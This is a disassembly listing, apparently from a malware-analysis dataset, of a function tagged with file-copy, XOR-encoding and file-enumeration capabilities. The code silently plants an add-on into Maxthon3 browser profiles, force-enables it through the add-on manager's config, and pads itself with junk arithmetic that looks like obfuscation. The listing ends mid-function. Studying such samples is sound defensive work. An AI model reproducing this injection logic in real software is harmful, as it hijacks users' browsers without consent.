Function at 0x4882d0
Capabilities:
Copy file
Encode data using xor
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x517e0e
mov eax, dword fs:[0]
push eax
sub esp, 0x398
mov eax, dword [0x577680]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x2fc], esi
xor ebx, ebx
mov dword [ebp - 0x2f8], ebx
mov dword [ebp - 0x2f4], ebx
call fcn.004939c0
test al, al
jne 0x488345
mov eax, dword [0x578ad4]
mov ecx, eax
sub ecx, ebx
je 0x48833b
dec ecx
je 0x488333
inc eax
mov dword [0x578ad4], eax
jmp 0x488345
mov dword [0x578ad4], ebx
jmp 0x488345
mov dword [0x578ad4], 2
mov dword [ebp - 0x330], ebx
mov dword [ebp - 0x32c], ebx
mov dword [ebp - 0x328], ebx
cmp byte [esi + 0x94], 0
mov dword [ebp - 4], 0
je 0x48837e
lea eax, [ebp - 0x330]
push eax
call fcn.00415990
add esp, 4
test al, al
jne 0x48855e
lea eax, [ebp - 0x2f0]
push eax
call fcn.00412cc0
add esp, 4
mov byte [ebp - 4], 1
call fcn.00493a90
mov esi, dword [0x578ad4]
test al, al
jne 0x488429
xor edx, edx
mov ecx, edx
and ecx, 1
dec ecx
not ecx
and ecx, esi
mov eax, edx
sar eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, esi
sar ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
sar eax, 1
not ecx
and ecx, esi
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, esi
sar ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
sar eax, 1
not ecx
and ecx, esi
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, esi
sar ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
sar eax, 1
not ecx
and ecx, esi
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, esi
sar ecx, 1
xor eax, ecx
inc edx
add esi, eax
cmp edx, 0x100
jl 0x4883a6
mov dword [0x578ad4], esi
mov eax, dword [ebp - 0x2f0]
cmp dword [eax - 0xc], 0
jne 0x488528
mov ecx, esi
imul ecx, esi
imul ecx, esi
and ecx, 0x8000000f
jns 0x48844e
dec ecx
or ecx, 0xfffffff0
inc ecx
cmp ecx, 4
jne 0x488494
mov eax, 0x51eb851f
imul esi
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
imul ecx, ecx, 0x64
sub esi, ecx
xor ecx, ecx
lea eax, [esi + 0x2f4]
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004ef820
push eax
call fcn.004f0683
mov eax, dword [ebp - 0x2f0]
add esp, 8
lea edx, [eax - 0x10]
mov byte [ebp - 4], 0
lea ecx, [edx + 0xc]
or eax, 0xffffffff
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x4884b2
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [ebp - 0x32c]
mov esi, dword [ebp - 0x330]
mov byte [ebp - 0x310], 0
mov dword [ebp - 4], 0xffffffff
test esi, esi
je 0x488506
cmp esi, edi
je 0x4884fd
mov edx, dword [esi]
sub edx, 0x10
or ecx, 0xffffffff
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4884f0
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add esi, 4
cmp esi, edi
jne 0x4884d4
mov esi, dword [ebp - 0x330]
push esi
call fcn.004f03fe
add esp, 4
mov al, byte [ebp - 0x310]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004f0cd4
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x2f0]
push eax
lea ecx, [ebp - 0x330]
call fcn.00416fa0
mov edx, dword [ebp - 0x2f0]
add edx, 0xfffffff0
mov byte [ebp - 4], 0
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x48855e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [ebp - 0x32c]
mov esi, dword [ebp - 0x330]
mov eax, edi
sub eax, esi
mov byte [ebp - 0x310], 0
mov dword [ebp - 0x334], 0
test eax, 0xfffffffc
jle 0x4884c5
mov edi, 4
call fcn.00493d80
test al, al
jne 0x4885d7
mov esi, dword [0x578ad4]
mov eax, 0x51eb851f
imul esi
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
imul ecx, ecx, 0x64
sub esi, ecx
xor ecx, ecx
lea eax, [esi + 0x63]
mul edi
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004ef820
push eax
call fcn.004f0683
mov esi, dword [ebp - 0x330]
add esp, 8
mov eax, dword [ebp - 0x334]
push str.Maxthon3Users
lea eax, [esi + eax*4]
push eax
lea eax, [ebp - 0x31c]
push eax
call fcn.00402b40
lea eax, [ebp - 0x31c]
push eax
mov byte [ebp - 4], 2
call fcn.00412840
add esp, 0x10
test al, al
je 0x489a0a
push 0x53457c
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x35c]
push eax
call fcn.00402b40
add esp, 0xc
lea ecx, [ebp - 0x2e0]
push ecx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, dword [ebp - 0x35c]
add esi, 0xfffffff0
mov edi, eax
mov dword [ebp - 0x364], edi
lea ecx, [esi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x48865f
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
cmp edi, 0xffffffff
je 0x489a0a
jmp 0x488670
mov edx, dword [0x578ad4]
lea ecx, [edx + 1]
lea eax, [edx + 2]
imul eax, ecx
imul eax, edx
cdq
mov ecx, 3
idiv ecx
cmp edx, 1
jne 0x4886a5
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x50
div ecx
inc edx
mov dword [0x578ad4], edx
test byte [ebp - 0x2e0], 0x10
je 0x488805
mov eax, dword [0x5771f0]
mov ecx, 0x5771f0
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x320], eax
lea edi, [ebp - 0x2b4]
shr edi, 0x10
mov byte [ebp - 4], 3
test edi, edi
jne 0x4886ff
lea eax, [ebp - 0x2b4]
movzx esi, ax
push edi
push esi
call fcn.00403070
add esp, 8
test eax, eax
je 0x488732
push esi
push eax
lea ecx, [ebp - 0x320]
call fcn.00408b00
jmp 0x488732
lea ecx, [ebp - 0x2b4]
lea edx, [ecx + 2]
jmp 0x488710
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x488710
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x2b4]
push eax
lea ecx, [ebp - 0x320]
call fcn.0040c730
lea eax, [ebp - 0x320]
or ebx, 1
push 0x52afb8
push eax
mov byte [ebp - 4], 4
mov dword [ebp - 0x2f8], ebx
mov dword [ebp - 0x2f4], ebx
call fcn.0047a200
add esp, 8
test al, al
je 0x488805
mov eax, dword [0x5771f0]
mov ecx, 0x5771f0
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x324], eax
mov dword [ebp - 4], 5
test edi, edi
jne 0x4887a8
lea eax, [ebp - 0x2b4]
movzx esi, ax
push edi
push esi
call fcn.00403070
add esp, 8
test eax, eax
je 0x4887d3
push esi
push eax
lea ecx, [ebp - 0x324]
call fcn.00408b00
jmp 0x4887d3
lea ecx, [ebp - 0x2b4]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4887b1
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x2b4]
push eax
lea ecx, [ebp - 0x324]
call fcn.0040c730
lea eax, [ebp - 0x324]
or ebx, 2
push 0x534584
push eax
mov dword [ebp - 4], 6
mov dword [ebp - 0x2f8], ebx
mov dword [ebp - 0x2f4], ebx
call fcn.0047a200
add esp, 8
test al, al
je 0x488805
mov bl, 1
jmp 0x488807
xor bl, bl
mov eax, dword [ebp - 0x2f8]
mov dword [ebp - 4], 4
test al, 2
je 0x48884d
mov edx, dword [ebp - 0x324]
and eax, 0xfffffffd
add edx, 0xfffffff0
mov dword [ebp - 0x2f8], eax
mov dword [ebp - 0x2f4], eax
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x488847
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x2f8]
mov dword [ebp - 4], 2
test al, 1
je 0x488881
mov edx, dword [ebp - 0x320]
and eax, 0xfffffffe
add edx, 0xfffffff0
mov dword [ebp - 0x2f8], eax
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x488881
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test bl, bl
je 0x4899e8
mov eax, dword [0x5771f0]
mov ecx, 0x5771f0
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x2ec], eax
lea eax, [ebp - 0x2b4]
mov byte [ebp - 4], 7
test eax, 0xffff0000
jne 0x4888d1
movzx esi, ax
push 0
push esi
call fcn.00403070
add esp, 8
test eax, eax
je 0x488902
push esi
push eax
lea ecx, [ebp - 0x2ec]
call fcn.00408b00
jmp 0x488902
lea ecx, [ebp - 0x2b4]
lea edx, [ecx + 2]
lea ebx, [ebx]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4888e0
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x2b4]
push eax
lea ecx, [ebp - 0x2ec]
call fcn.0040c730
push 0x52a1a0
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x354]
push eax
mov byte [ebp - 4], 8
call fcn.00402b40
lea ecx, [ebp - 0x2ec]
push ecx
push eax
lea eax, [ebp - 0x318]
push eax
mov byte [ebp - 4], 9
call fcn.00402a80
add esp, 0x18
mov edx, dword [ebp - 0x354]
add edx, 0xfffffff0
mov byte [ebp - 4], 0xb
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x48895d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x2ec]
add edx, 0xfffffff0
mov byte [ebp - 4], 0xc
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x488981
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push str.AddonsData
lea eax, [ebp - 0x318]
push eax
lea eax, [ebp - 0x338]
push eax
call fcn.00402b40
push str.Addons
lea eax, [ebp - 0x318]
push eax
lea eax, [ebp - 0x33c]
push eax
mov byte [ebp - 4], 0xd
call fcn.00402b40
push str.AddonsDataMxAddonMiscconfig.ini
lea eax, [ebp - 0x318]
push eax
lea eax, [ebp - 0x340]
push eax
mov byte [ebp - 4], 0xe
call fcn.00402b40
lea eax, [ebp - 0x33c]
push eax
mov byte [ebp - 4], 0xf
call fcn.00412840
add esp, 0x28
test al, al
je 0x488b05
lea eax, [ebp - 0x340]
push eax
call fcn.00412860
add esp, 4
test al, al
je 0x488b05
push 0x52a1a0
lea eax, [ebp - 0x33c]
push eax
lea eax, [ebp - 0x360]
push eax
call fcn.00402b40
mov ebx, dword [ebp - 0x2fc]
mov byte [ebp - 4], 0x10
lea ecx, [ebx + 0xe8]
push ecx
push eax
lea eax, [ebp - 0x350]
push eax
call fcn.00402a80
mov edx, dword [ebp - 0x360]
add edx, 0xfffffff0
add esp, 0x18
mov byte [ebp - 4], 0xf
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x488a60
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 0
push dword [ebp - 0x350]
push dword [ebx + 0xe4]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x488aad
push dword [ebp - 0x340]
push str._disabled_:false__denied_:false__removed_:false
push dword [ebx + 0xe0]
push str.addonsmgr4
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov ecx, dword [ebp - 0x310]
movzx ecx, cl
test eax, eax
mov eax, 1
cmovne ecx, eax
mov dword [ebp - 0x310], ecx
mov ecx, dword [0x578ad4]
mov ebx, 0x14
lea eax, [ecx + 1]
imul eax, ecx
cdq
idiv ebx
cmp edx, 3
jne 0x488ae5
xor ebx, ebx
lea edx, [ebp - 0x48]
jmp 0x488ad0
xor eax, eax
mov byte [edx + eax], 0
inc eax
cmp eax, 0xb
jl 0x488ad2
inc ebx
add edx, 0xb
cmp ebx, 5
jl 0x488ad0
mov edx, dword [ebp - 0x350]
add edx, 0xfffffff0
or ecx, 0xffffffff
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x488b05
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x338]
push eax
call fcn.00412840
add esp, 4
test al, al
je 0x489958
push str.24c49c5d_2bce_48eb_b172_b75aa64b847f
lea eax, [ebp - 0x338]
push eax
lea eax, [ebp - 0x344]
push eax
call fcn.00402b40
lea eax, [ebp - 0x344]
push eax
mov byte [ebp - 4], 0x11
call fcn.004128b0
add esp, 0x10
test al, al
je 0x489934
mov esi, dword [0x578ad4]
lea ecx, [esi + 1]
lea eax, [esi + 2]
imul eax, ecx
imul eax, esi
cdq
mov ecx, 0xe
idiv ecx
cmp edx, 7
jne 0x488b8c
xor edi, edi
test esi, esi
je 0x488b86
mov eax, esi
mov ecx, esi
cdq
sub eax, edx
and ecx, 1
mov esi, eax
add edi, ecx
sar esi, 1
jne 0x488b74
mov dword [0x578ad4], edi
push str.config.ini
lea eax, [ebp - 0x344]
push eax
lea eax, [ebp - 0x2f0]
push eax
call fcn.00402b40
add esp, 0xc
lea ecx, [ebp - 0x34c]
mov byte [ebp - 4], 0x12
call fcn.0041d590
mov eax, dword [0x5771f0]
mov ecx, 0x5771f0
mov byte [ebp - 4], 0x13
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x2e4], esi
mov eax, str.Main
mov byte [ebp - 4], 0x14
test eax, 0xffff0000
jne 0x488c01
movzx edi, ax
push 0
push edi
call fcn.00403070
add esp, 8
test eax, eax
je 0x488c19
push edi
push eax
lea ecx, [ebp - 0x2e4]
call fcn.00408b00
jmp 0x488c13
push 4
push str.Main
lea ecx, [ebp - 0x2e4]
call fcn.0040c730
mov esi, dword [ebp - 0x2e4]
mov eax, dword [0x5771f0]
mov ecx, 0x5771f0
mov byte [ebp - 4], 0x15
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x2ec], eax
mov eax, str.params
mov byte [ebp - 4], 0x16
test eax, 0xffff0000
jne 0x488c64
movzx edi, ax
push 0
push edi
call fcn.00403070
add esp, 8
test eax, eax
je 0x488c76
push edi
push eax
lea ecx, [ebp - 0x2ec]
call fcn.00408b00
jmp 0x488c76
push 6
push str.params
lea ecx, [ebp - 0x2ec]
call fcn.0040c730
mov eax, dword [0x5771f0]
mov ecx, 0x5771f0
mov byte [ebp - 4], 0x17
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x304], eax
mov eax, str.installationTime
mov byte [ebp - 4], 0x18
test eax, 0xffff0000
jne 0x488cc1
movzx edi, ax
push 0
push edi
call fcn.00403070
add esp, 8
test eax, eax
je 0x488cd3
push edi
push eax
lea ecx, [ebp - 0x304]
call fcn.00408b00
jmp 0x488cd3
push 0x10
push str.installationTime
lea ecx, [ebp - 0x304]
call fcn.0040c730
mov edi, dword [ebp - 0x2fc]
mov byte [ebp - 4], 0x19
mov edi, dword [edi + 0x48]
mov ecx, dword [edi - 0x10]
mov eax, dword [ecx]
call dword [eax + 0x10]
cmp dword [edi - 4], 0
lea edx, [edi - 4]
mov ecx, eax
jl 0x488d06
cmp ecx, dword [edi - 0x10]
jne 0x488d06
lea ebx, [edi - 0x10]
mov eax, 1
lock xadd dword [edx], eax
jmp 0x488d3f
mov eax, dword [ecx]
push 2
push dword [edi - 0xc]
call dword [eax]
mov ebx, eax
test ebx, ebx
je 0x489a6a
mov ecx, dword [edi - 0xc]
mov dword [ebx + 4], ecx
mov ecx, dword [edi - 0xc]
lea eax, [ecx*2 + 2]
push eax
lea eax, [ecx*2 + 2]
push edi
push eax
lea eax, [ebx + 0x10]
push eax
call fcn.004f18c0
add esp, 0x10
lea eax, [ebx + 0x10]
mov dword [ebp - 0x2f4], eax
mov eax, dword [0x5771f0]
mov ecx, 0x5771f0
mov byte [ebp - 4], 0x1a
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x300], eax
mov eax, str.ibic
mov byte [ebp - 4], 0x1b
test eax, 0xffff0000
jne 0x488d93
movzx edi, ax
push 0
push edi
call fcn.00403070
add esp, 8
test eax, eax
je 0x488da5
push edi
push eax
lea ecx, [ebp - 0x300]
call fcn.00408b00
jmp 0x488da5
push 4
push str.ibic
lea ecx, [ebp - 0x300]
call fcn.0040c730
mov eax, dword [ebp - 0x2fc]
mov byte [ebp - 4], 0x1c
mov edi, dword [eax + 0x24]
mov ecx, dword [edi - 0x10]
mov eax, dword [ecx]
call dword [eax + 0x10]
cmp dword [edi - 4], 0
lea edx, [edi - 4]
mov ecx, eax
jl 0x488dd8
cmp ecx, dword [edi - 0x10]
jne 0x488dd8
lea ebx, [edi - 0x10]
mov eax, 1
lock xadd dword [edx], eax
jmp 0x488e11
mov eax, dword [ecx]
push 2
push dword [edi - 0xc]
call dword [eax]
mov ebx, eax
test ebx, ebx
je 0x489a6a
mov ecx, dword [edi - 0xc]
mov dword [ebx + 4], ecx
mov ecx, dword [edi - 0xc]
lea eax, [ecx*2 + 2]
push eax
lea eax, [ecx*2 + 2]
push edi
push eax
lea eax, [ebx + 0x10]
push eax
call fcn.004f18c0
add esp, 0x10
lea eax, [ebx + 0x10]
mov dword [ebp - 0x314], eax
mov eax, dword [0x5771f0]
mov ecx, 0x5771f0
mov byte [ebp - 4], 0x1d
call dword [eax + 0xc]
lea ebx, [eax + 0x10]
mov dword [ebp - 0x308], ebx
mov eax, str.verifier
mov byte [ebp - 4], 0x1e
test eax, 0xffff0000
jne 0x488e65
movzx edi, ax
push 0
push edi
call fcn.00403070
add esp, 8
test eax, eax
je 0x488e7d
push edi
push eax
lea ecx, [ebp - 0x308]
call fcn.00408b00
jmp 0x488e77
push 8
push str.verifier
lea ecx, [ebp - 0x308]
call fcn.0040c730
mov ebx, dword [ebp - 0x308]
mov eax, dword [ebp - 0x2fc]
mov byte [ebp - 4], 0x1f
mov edi, dword [eax + 0x28]
sub edi, 0x10
mov ecx, dword [edi]
mov eax, dword [ecx]
call dword [eax + 0x10]
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
mov ecx, eax
jl 0x488eae
cmp ecx, dword [edi]
jne 0x488eae
mov eax, 1
lock xadd dword [edx], eax
jmp 0x488ef6
mov eax, dword [ecx]
push 2
push dword [edi + 4]
call dword [eax]
mov edx, eax
mov dword [ebp - 0x30c], edx
test edx, edx
je 0x489a6a
mov ecx, dword [edi + 4]
mov dword [edx + 4], ecx
mov ecx, dword [edi + 4]
lea eax, [ecx*2 + 2]
push eax
lea eax, [edi + 0x10]
push eax
lea eax, [ecx*2 + 2]
push eax
lea eax, [edx + 0x10]
push eax
call fcn.004f18c0
mov edi, dword [ebp - 0x30c]
add esp, 0x10
add edi, 0x10
mov dword [ebp - 0x30c], edi
cmp dword [esi - 4], 1
mov byte [ebp - 4], 0x20
jle 0x488f1d
push dword [esi - 0xc]
lea ecx, [ebp - 0x2e4]
call fcn.00405960
mov esi, dword [ebp - 0x2e4]
sub esp, 0x18
mov edx, esp
xor eax, eax
mov dword [edx + 0x14], 7
mov dword [edx + 0x10], 0
mov word [edx], ax
cmp word [esi], ax
jne 0x488f3e
xor ecx, ecx
jmp 0x488f63
mov ecx, esi
lea eax, [ecx + 2]
mov dword [ebp - 0x2e8], eax
lea esp, [esp]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x488f50
sub ecx, dword [ebp - 0x2e8]
sar ecx, 1
push ecx
push esi
mov ecx, edx
call fcn.004200e0
lea ecx, [ebp - 0x34c]
call fcn.0041e220
mov eax, dword [ebp - 0x314]
cmp dword [eax - 4], 1
jle 0x488f97
push dword [eax - 0xc]
lea ecx, [ebp - 0x314]
call fcn.00405960
mov eax, dword [ebp - 0x314]
xor ecx, ecx
mov dword [ebp - 0x4c], 7
mov dword [ebp - 0x50], 0
mov word [ebp - 0x60], cx
cmp word [eax], cx
jne 0x488fb4
xor edx, edx
jmp 0x488fd3
mov edx, eax
lea ecx, [edx + 2]
mov dword [ebp - 0x2e8], ecx
nop
mov cx, word [edx]
add edx, 2
test cx, cx
jne 0x488fc0
sub edx, dword [ebp - 0x2e8]
sar edx, 1
push edx
push eax
lea ecx, [ebp - 0x60]
call fcn.004200e0
mov eax, dword [ebp - 0x300]
mov byte [ebp - 4], 0x21
cmp dword [eax - 4], 1
jle 0x489001
push dword [eax - 0xc]
lea ecx, [ebp - 0x300]
call fcn.00405960
mov eax, dword [ebp - 0x300]
xor ecx, ecx
mov dword [ebp - 0x7c], 7
mov dword [ebp - 0x80], 0
mov word [ebp - 0x90], cx
cmp word [eax], cx
jne 0x489021
xor edx, edx
jmp 0x489043
mov edx, eax
lea ecx, [edx + 2]
mov dword [ebp - 0x2e8], ecx
lea esp, [esp]
mov cx, word [edx]
add edx, 2
test cx, cx
jne 0x489030
sub edx, dword [ebp - 0x2e8]
sar edx, 1
push edx
push eax
lea ecx, [ebp - 0x90]
call fcn.004200e0
cmp dword [esi - 4], 1
mov byte [ebp - 4], 0x22
jle 0x48906e
push dword [esi - 0xc]
lea ecx, [ebp - 0x2e4]
call fcn.00405960
mov esi, dword [ebp - 0x2e4]
xor eax, eax
mov dword [ebp - 0x64], 7
mov dword [ebp - 0x68], 0
mov word [ebp - 0x78], ax
cmp word [esi], ax
jne 0x48908b
xor ecx, ecx
jmp 0x48909f
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x489090
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [ebp - 0x78]
call fcn.004200e0
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x78]
push eax
lea ecx, [ebp - 0x34c]
mov byte [ebp - 4], 0x23
call fcn.0041ea20
cmp dword [ebp - 0x64], 8
jb 0x4890d8
push dword [ebp - 0x78]
call fcn.004f03fe
add esp, 4
xor eax, eax
cmp dword [ebp - 0x7c], 8
mov dword [ebp - 0x64], 7
mov dword [ebp - 0x68], 0
mov word [ebp - 0x78], ax
jb 0x489100
push dword [ebp - 0x90]
call fcn.004f03fe
add esp, 4
xor eax, eax
cmp dword [ebp - 0x4c], 8
mov dword [ebp - 0x7c], 7
mov dword [ebp - 0x80], 0
mov word [ebp - 0x90], ax
mov byte [ebp - 4], 0x20
jb 0x48912c
push dword [ebp - 0x60]
call fcn.004f03fe
add esp, 4
mov eax, dword [ebp - 0x2f4]
cmp dword [eax - 4], 1
jle 0x48914c
push dword [eax - 0xc]
lea ecx, [ebp - 0x2f4]
call fcn.00405960
mov eax, dword [ebp - 0x2f4]
xor ecx, ecx
mov dword [ebp - 0x4c], 7
mov dword [ebp - 0x50], 0
mov word [ebp - 0x60], cx
cmp word [eax], cx
jne 0x489169
xor edx, edx
jmp 0x489187
mov edx, eax
lea ecx, [edx + 2]
mov dword [ebp - 0x2e8], ecx
mov cx, word [edx]
add edx, 2
test cx, cx
jne 0x489174
sub edx, dword [ebp - 0x2e8]
sar edx, 1
push edx
push eax
lea ecx, [ebp - 0x60]
call fcn.004200e0
mov eax, dword [ebp - 0x304]
mov byte [ebp - 4], 0x24
cmp dword [eax - 4], 1
jle 0x4891b5
push dword [eax - 0xc]
lea ecx, [ebp - 0x304]
call fcn.00405960
mov eax, dword [ebp - 0x304]
xor ecx, ecx
mov dword [ebp - 0x64], 7
mov dword [ebp - 0x68], 0
mov word [ebp - 0x78], cx
cmp word [eax], cx
jne 0x4891d2
xor edx, edx
jmp 0x4891f3
mov edx, eax
lea ecx, [edx + 2]
mov dword [ebp - 0x2e8], ecx
lea ecx, [ecx]
mov cx, word [edx]
add edx, 2
test cx, cx
jne 0x4891e0
sub edx, dword [ebp - 0x2e8]
sar edx, 1
push edx
push eax
lea ecx, [ebp - 0x78]
call fcn.004200e0
cmp dword [esi - 4], 1
mov byte [ebp - 4], 0x25
jle 0x48921b
push dword [esi - 0xc]
lea ecx, [ebp - 0x2e4]
call fcn.00405960
mov esi, dword [ebp - 0x2e4]
xor eax, eax
mov dword [ebp - 0x7c], 7
mov dword [ebp - 0x80], 0
mov word [ebp - 0x90], ax
cmp word [esi], ax
jne 0x48923b
xor ecx, ecx
jmp 0x48924f
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x489240
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [ebp - 0x90]
call fcn.004200e0
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x90]
push eax
lea ecx, [ebp - 0x34c]
mov byte [ebp - 4], 0x26
call fcn.0041ea20
cmp dword [ebp - 0x7c], 8
jb 0x48928e
push dword [ebp - 0x90]
call fcn.004f03fe
add esp, 4
xor eax, eax
cmp dword [ebp - 0x64], 8
mov dword [ebp - 0x7c], 7
mov dword [ebp - 0x80], 0
mov word [ebp - 0x90], ax
jb 0x4892b6
push dword [ebp - 0x78]
call fcn.004f03fe
add esp, 4
xor eax, eax
cmp dword [ebp - 0x4c], 8
mov dword [ebp - 0x64], 7
mov dword [ebp - 0x68], 0
mov word [ebp - 0x78], ax
mov byte [ebp - 4], 0x20
jb 0x4892df
push dword [ebp - 0x60]
call fcn.004f03fe
add esp, 4
call fcn.004939c0
test al, al
jne 0x4892fa
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [edi - 4], 1
jle 0x489314
push dword [edi - 0xc]
lea ecx, [ebp - 0x30c]
call fcn.00405960
mov edi, dword [ebp - 0x30c]
xor eax, eax
mov dword [ebp - 0x4c], 7
mov dword [ebp - 0x50], 0
mov word [ebp - 0x60], ax
cmp word [edi], ax
jne 0x489331
xor ecx, ecx
jmp 0x489345
mov ecx, edi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x489336
sub ecx, edx
sar ecx, 1
push ecx
push edi
lea ecx, [ebp - 0x60]
call fcn.004200e0
cmp dword [ebx - 4], 1
mov byte [ebp - 4], 0x27
jle 0x48936d
push dword [ebx - 0xc]
lea ecx, [ebp - 0x308]
call fcn.00405960
mov ebx, dword [ebp - 0x308]
xor eax, eax
mov dword [ebp - 0x64], 7
mov dword [ebp - 0x68], 0
mov word [ebp - 0x78], ax
cmp word [ebx], ax
jne 0x48938a
xor ecx, ecx
jmp 0x48939f
mov ecx, ebx
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x489390
sub ecx, edx
sar ecx, 1
push ecx
push ebx
lea ecx, [ebp - 0x78]
call fcn.004200e0
cmp dword [esi - 4], 1
mov byte [ebp - 4], 0x28
jle 0x4893c7
push dword [esi - 0xc]
lea ecx, [ebp - 0x2e4]
call fcn.00405960
mov esi, dword [ebp - 0x2e4]
xor eax, eax
mov dword [ebp - 0x7c], 7
mov dword [ebp - 0x80], 0
mov word [ebp - 0x90], ax
cmp word [esi], ax
jne 0x4893e7
xor ecx, ecx
jmp 0x4893ff
mov ecx, esi
lea edx, [ecx + 2]
lea esp, [esp]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4893f0
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [ebp - 0x90]
call fcn.004200e0
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x90]
push eax
lea ecx, [ebp - 0x34c]
mov byte [ebp - 4], 0x29
call fcn.0041ea20
cmp dword [ebp - 0x7c], 8
jb 0x48943e
push dword [ebp - 0x90]
call fcn.004f03fe
add esp, 4
xor eax, eax
cmp dword [ebp - 0x64], 8
mov dword [ebp - 0x7c], 7
mov dword [ebp - 0x80], 0
mov word [ebp - 0x90], ax
jb 0x489466
push dword [ebp - 0x78]
call fcn.004f03fe
add esp, 4
xor eax, eax
cmp dword [ebp - 0x4c], 8
mov dword [ebp - 0x64], 7
mov dword [ebp - 0x68], 0
mov word [ebp - 0x78], ax
mov byte [ebp - 4], 0x20
jb 0x48948f
push dword [ebp - 0x60]
call fcn.004f03fe
add esp, 4
push 0
lea ecx, [ebp - 0x374]
call fcn.004707b0
mov eax, dword [ebp - 0x2fc]
add eax, 0x4c
push eax
lea eax, [ebp - 0x60]
push eax
mov byte [ebp - 4], 0x2a
call fcn.0049acd0
add esp, 8
push eax
lea ecx, [ebp - 0x384]
